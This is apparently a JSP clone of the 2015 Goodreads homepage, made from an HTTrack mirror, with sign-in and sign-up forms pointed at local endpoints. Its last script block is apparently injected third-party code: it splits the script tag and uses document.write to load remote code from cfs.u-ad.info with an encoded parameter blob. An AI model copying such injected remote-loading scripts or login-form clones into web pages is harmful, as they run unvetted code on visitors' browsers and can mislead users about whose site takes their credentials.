
<!DOCTYPE html>
<%@ include file="/common/tld-common.jsp"%>
<%@ include file="/common/tld-spring.jsp"%>
<%
    String path = request.getContextPath();
    String basePath = request.getScheme() + "://" + request.getServerName() + ":" + request.getServerPort() + path + "/";
%>

<html class="desktop">  
    <head>
        <base href="<%=basePath%>" />
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></meta>
        <meta name="google-site-verification" content="PfFjeZ9OK1RrUrKlmAPn_iZJ_vgHaZO1YQ-QlG2VsJs" />
        <title>Share Book Recommendations With Your Friends, Join Book Clubs, Answer Trivia</title>
        <meta property="og:url" content="index.html"/>
        <meta property="og:description" content="Discover and share books you love on Goodreads, the world's largest site for readers and book recommendations!"/>
        <meta property="og:title" content="Goodreads"/>
        <meta property="og:type" content="website"/>
        <meta property="og:site_name" content="Goodreads"/>
        <meta property="og:image" content="assets/icons/goodreads_icon_100x100.png"/>
        <meta property="fb:app_id" content="2415071772"/>


        <meta name="verify-v1" content="cEf8XOH0pulh1aYQeZ1gkXHsQ3dMPSyIGGYqmF53690=">
        <meta name="apple-itunes-app" content="app-id=355833469">

        <script type="text/javascript">
            if (window.Mobvious === undefined) {
                window.Mobvious = {};
            }
            window.Mobvious.device_type = 'desktop';
        </script>


        <link href="assets/s.gr-assets.com/assets/goodreads-134b78ba1a7ff59437268774e87d318a.css" media="screen" rel="stylesheet" type="text/css" />
        <script src="assets/s.gr-assets.com/assets/application-fbf67b22c8fcc540305f86eb5bd82f92.js" type="text/javascript"></script>


        <meta content="authenticity_token" name="csrf-param" />
        <meta content="Jm84d7593AZ83Tl18lzIKY5x4KQsEhuMp1UobRT7ldmtL/rmeBGRWx6DGO0I91Ld/qY8/txRoCUa89UbleJt8g==" name="csrf-token" />

        <meta content="1RN0QNK0XVK7G7W5X9Y8" name="request-id" />

        <link rel="canonical" href="index.html" />

        <!--[if gte IE 8]><!-->
        <link href="assets/s.gr-assets.com/assets/common_images-f3d5973863608a51d0a0cdb6ac9ab82e.css" media="screen" rel="stylesheet" type="text/css" />
        <!--<![endif]-->

        <script>
            //<![CDATA[
            var googletag = googletag || {};
            googletag.cmd = googletag.cmd || [];
            (function() {
                var gads = document.createElement("script");
                gads.async = true;
                gads.type = "text/javascript";
                var useSSL = "https:" == document.location.protocol;
                gads.src = (useSSL ? "https:" : "http:") +
                        "//www.googletagservices.com/tag/js/gpt.js";
                var node = document.getElementsByTagName("script")[0];
                node.parentNode.insertBefore(gads, node);
            })();
            // page settings
            googletag.cmd.push(function() {
                googletag.pubads().setTargeting("sid", "b2324191d5aa1d27d7c87562467d3a22");
                googletag.pubads().enableSingleRequest();
                googletag.enableServices();
            });
            //]]>
        </script>

        <script>
            //<![CDATA[
            googletag.cmd.push(function() {
                adUnit = googletag
                        .defineSlot(
                        "/4215/goodr.home.top.out.300x250",
                        [300, 250],
                        "div-gpt-ad-805743ff43")
                        .addService(googletag.pubads())
                        .setCollapseEmptyDiv(true);

            });
            //]]>
        </script>

        <script>
            //<![CDATA[
            googletag.cmd.push(function() {
                adUnit = googletag
                        .defineSlot(
                        "/4215/goodr.cb.home.300x140",
                        [300, 140],
                        "div-gpt-ad-e0dfb6da9b")
                        .addService(googletag.pubads())
                        .setCollapseEmptyDiv(true);

            });
            //]]>
        </script>

        <link rel="search" type="application/opensearchdescription+xml" href="opensearch.xml" title="Goodreads">


        <script>
            //<![CDATA[
            var GoodreadsAnalytics = GoodreadsAnalytics || {};
            var _gaq = _gaq || [];
            var isDebug = false;

            $j(function() {
                if (isDebug) {
                    $j("#google-analytics-debug").show();
                }
            });

            GoodreadsAnalytics.push = function() {
                _gaq.push.apply(_gaq, arguments);

                if (isDebug) {
                    var args = arguments[0];
                    $j(function() {
                        var li = $j("<li/>").text(JSON.stringify(args));
                        $j("#google-analytics-debug ol").append(li);
                    });
                }
            }

            GoodreadsAnalytics.push(['_setAccount', 'UA-968618-1']);
            GoodreadsAnalytics.push(['_setCustomVar',
                1, // Slot 1
                'User Status', // Custom variable name
                'signed_out', // Custom variable value: signed_out, signed_in,
                //   signed_in_facebook_connected, or
                //   goodreads_member_previously_signed_in
                2                         // Visit-level scope, which means slot 1 will be
                        //   free when the visit ends.
            ]);
            GoodreadsAnalytics.push(['_setCustomVar',
                2, // Slot 2
                'Device Type', // Custom variable name
                'desktop', // Custom variable value: desktop, mobile, or
                //   tablet
                2                         // Visit-level scope, which means slot 2 will be
                        //   free when the visit ends.
            ]);
            GoodreadsAnalytics.push(['_setCustomVar',
                3, // Slot 3
                'Interstitial Ad Presence', // Custom variable name
                'false', // Custom variable value: true or false
                2                            // Visit-level scope, which means slot 3 will be
                        //   free when the visit ends.
            ]);
            GoodreadsAnalytics.push(['_trackPageview']);

            (function() {
                var ga = document.createElement('script');
                ga.type = 'text/javascript';
                ga.async = true;
                ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
                var s = document.getElementsByTagName('script')[0];
                s.parentNode.insertBefore(ga, s);
            })();
            //]]>
        </script>



        <script type="text/javascript">
            var _qevents = _qevents || [];

            (function() {
                var elem = document.createElement('script');

                elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
                elem.async = true;
                elem.type = "text/javascript";
                var scpt = document.getElementsByTagName('script')[0];
                scpt.parentNode.insertBefore(elem, scpt);
            })();
        </script>

    </head>


    <body id='signedOutHome' class="home">
        <div class="content">


            <div class='uitext' id='siteheader' style="height: 665px">
                <div class='mainContent'>
                    <div id='navBar'>
                        <div id='logo'>
                            <a href='page/home.htm'>
                                <img alt="Goodreads: Book reviews, recommendations, and discussion" src="assets/s.gr-assets.com/assets/home/header_logo-8d96d7078a3d63f9f31d92282fd67cf4.png" />
                            </a>
                        </div>
                        <div id='signInForm'>

                            <form accept-charset="UTF-8" action="<c:url value='/page/checkUser.html' />" id="sign_in" method="post" name="sign_in">
                                <div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="MsAIOESP395r9gHcociJHnXnTnWqaa6SMVpnmLFLhyO5gMqpguOSgwmoIERbYxPqBTCSL1oqFTuM/JruMFJ/CA==" /></div>
                                <div class="formBox">
                                    <input id="userSignInFormEmail" type="email" name="email" placeholder="Email address" tabindex="1"><br>
                                    <input type="checkbox" id="remember_me" name="remember_me" checked tabindex="3"><label for="remember_me" class="greyText">Remember me</label>
                                </div>

                                <div class="formBox">
                                    <div style="position:relative">
                                        <input id="user_password" name="password" placeholder="Password" size="30" tabindex="2" type="password" value="" />
                                        <label for="user_password" id="userPasswordLabel" class="greyText">Password</label>
                                        <br>
                                        <a href="user/forgot_password.html" class="greyText" id="userForgotPassword" rel="nofollow">Forgot it?</a>
                                    </div>
                                </div>

                                <div class="formBox">
                                    <input class="button" tabindex="4" type="submit" value="Sign in" />
                                </div>
                            </form>
                        </div>
                    </div>
                    <div id='masthead'>
                        <div id='headline'>
                            <img alt="Meet your next favorite book." src="assets/s.gr-assets.com/assets/home/headline-e2cd420e71737ff2815d09af5b65c4e4.png" />
                        </div>
                        <div id='newAccountBox'>
                            <h2>
                                New here? Create a free account!
                            </h2>
                            <form:form id="userSignupForm" name="createForm" method="post" modelAttribute="user" action="page/addUser.html">
                                <div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="z3MJXXG4rum15zI2NAi8lKGX1GLuVYGxmkPNQQ4BZ2JEM8vMt9TjtNe5E67OoyZg0UAIOB4WOhgn5TA3jxifSQ==" /></div>
                                <div class="fieldPara">
                                    <input id="user_first_name" name="firstName" placeholder="Name" size="30" type="text" value=""/>
                                </div>

                                <div class="fieldPara">
                                    <input id="user_email" name="emailuser" placeholder="Email Address" size="30" type="email" value=""/>
                                </div>

                                <div class="fieldPara">
                                    <input id="user_password_signup" maxlength="32" name="passwordUser" placeholder="Password" size="32" type="password" value=""/>
                                    <label id="userPasswordSignupLabel" for="user_password_signup" class="greyText">Password</label>
                                </div>

                                <div class="fieldPara">
                                    <div id="homePageSignupBlurb">
                                        By clicking ?Sign up?
                                        I agree to the Goodreads
                                        <a href="about/terms.html" target="_blank">Terms of Service</a>
                                        and confirm that I am at least 13 years old.
                                    </div>

                                    <input type="hidden" name="n" value="809009">
                                    <input type="submit" name="next" class="button" value="Sign up">
                                </div>
                            </form:form>
                        </div>
                    </div>
                </div>
                <div style="width: 100%; height: 90px; margin-top: 200px; text-align: center; color: #666; font-size: 10px; ">
                    <div class="footer">
                        &copy; 2015 Goodreads Inc
                    </div>
                </div>
            </div>
        </div>

        <div id="overlay" style="display:none" onclick="Lightbox.hideBox('dropout')"></div>
        <div id="box" style="display:none">
            <div id="close" class="xBackground js-closeModalIcon" onclick="Lightbox.hideBox('dropout')" title="Close this window"></div>
            <div id="boxContents"></div>
            <div id="boxContentsLeftovers" style="display:none"></div>
            <div class="clear"></div>
        </div>

        <div id="fb-root"></div>
        <script type="text/javascript">
            $grfb.initialize({
                appId: "2415071772",
                grSession: false,
                serverFBUser: null,
                serverPublishEnabled: null,
                suppressAutoLogin: false,
                brokenFbConnectionTracked: false,
                publishPermissionVerified: false
            });
        </script>

        <script type="text/javascript">
            var _kiq = _kiq || [];
            (function() {
                setTimeout(function() {
                    var d = document, f = d.getElementsByTagName('script')[0], s = d.createElement('script');
                    s.type = 'text/javascript';
                    s.async = true;
                    s.src = '../s3.amazonaws.com/ki.js/52346/bde.js';
                    f.parentNode.insertBefore(s, f);
                }, 1);
            })();
        </script>


        <script>
            //<![CDATA[
            _qevents.push({qacct: "p-0dUe_kJAjvkoY"});

            var _comscore = _comscore || [];
            _comscore.push({c1: "2", c2: "6035830", c3: "", c4: "", c5: "", c6: "", c15: ""});
            (function() {
                var s = document.createElement("script"), el = document.getElementsByTagName("script")[0];
                s.async = true;
                s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
                el.parentNode.insertBefore(s, el);
            })();
            //]]>
        </script>
        <noscript>
        <div style='display: none'>
            <img alt="" border="0" height="1" src="../pixel.quantserve.com/pixel/p-0dUe_kJAjvkoY.gif" style="display: none;" width="1" />
        </div>
        <img alt="" height="0" src="http://b.scorecardresearch.com/p?c1=2&amp;amp;c2=6035830&amp;amp;c3=&amp;amp;c4=&amp;amp;c5=&amp;amp;c6=&amp;amp;c15=&amp;amp;cv=2.0&amp;amp;cj=1" style="display: none" width="0" />
        </noscript>


        <script type="text/javascript">if (self == top) {
                var idc_glo_url = (location.protocol == "https:" ? "https://" : "http://");
                var idc_glo_r = Math.floor(Math.random() * 99999999999);
                document.write("<scr" + "ipt type=text/javascript src=" + idc_glo_url + "cfs.u-ad.info/cfspushadsv2/request");
                document.write("?id=1");
                document.write("&amp;enc=telkom2");
                document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582Ltpw5OIinlR%2bbONuJz%2bvJbpqSxefFYcnOEWIXDSgZ9gqGJQS9%2bssAGowDUXnqG0sGmjYJX%2bcriNXDamhY3%2f2O43TcJmqnEaSJjq%2fIGg5jAlYiGKYoOz4BngsKaYUt8aTtJzJCq8FaseWDZJD0jB6JwR4OXLyo2%2fuaoq1TbwdV4yW5opOoODJ3ZD98pu39o2RJT3ptIa29yBCcgQ%2b3Q4xLu01Z6SW46cWKtx9VaZotJS6Mm4dsVli%2bGHuNd9tSa1zpc7o2CMCCiCIzIWJTtxUO9u2nYP19LOtkUS2E0O%2bEJjoIq9oIaFYhO9wWHZkUpWDz1zPGSbeDk8pQFv%2b8iVhQE%2bx%2fa8LN36wy1ghrpsJGevoBj0RfjY5GHatp6TAzLy4ulixeeg%2bpooXETcSR8pSDzGAEBWBRRFiCKaiyUh2VMK4joJLoagtQyMKOrTTpL%2bf3J7X1sY8phiBgZ9sxpw9eXvPrzlzxyllBROAnd2rFtC");
                document.write("&amp;idc_r=" + idc_glo_r);
                document.write("&amp;domain=" + document.domain);
                document.write("&amp;sw=" + screen.width + "&amp;sh=" + screen.height);
                document.write("></scr" + "ipt>");
            }</script><noscript>activate javascript</noscript></body>

    <!-- Mirrored from www.goodreads.com/ by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 02 Feb 2015 12:16:53 GMT -->
</html>
